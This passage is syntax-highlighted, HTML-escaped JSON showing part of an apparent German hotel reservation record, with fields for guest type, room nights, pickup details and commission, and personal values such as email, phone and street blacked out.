&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOADULDS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOCHILDSFREE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROMMINGLISTISCOMPLETE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOADULDSFREE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOMNIGHTS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOCHILDS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SUB_NR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███@████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARR_TIME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PROMOCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TEC_COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████████████████████████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CHANNEL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_DATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_SEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SOURCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;49 ███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUARANTEE_TYPE_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY_CODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUARANTEE_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_NUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INVOICE_EMAIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PCAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_SUBNR2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SEX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRAL_RESERVATION_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MOBIL2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_CALC_COMMISSION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DISABLE_DEPOSIT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MOBIL1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOPAX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OUTPUTCOUNTER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CANCELLATION_POLICY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;J&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GDSNO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_SM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PO_BOX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ALLOTMENT_NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD_RU&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STREET&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████ ██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;A_USERFIELD_LIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RES_HOTEL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMMISSION&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD_BY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NN2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INSURANCETYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISO_LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;de&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREATION_TIME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█:█:█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;IDENTIFICATION_NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_SUBNR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DISCOUNT_GROUP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NATION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONCOUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;APERS_TYPE_LIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_TYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MEDIA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_CATEGORY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREATED_BY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MARKETCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;IS_LOCKED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
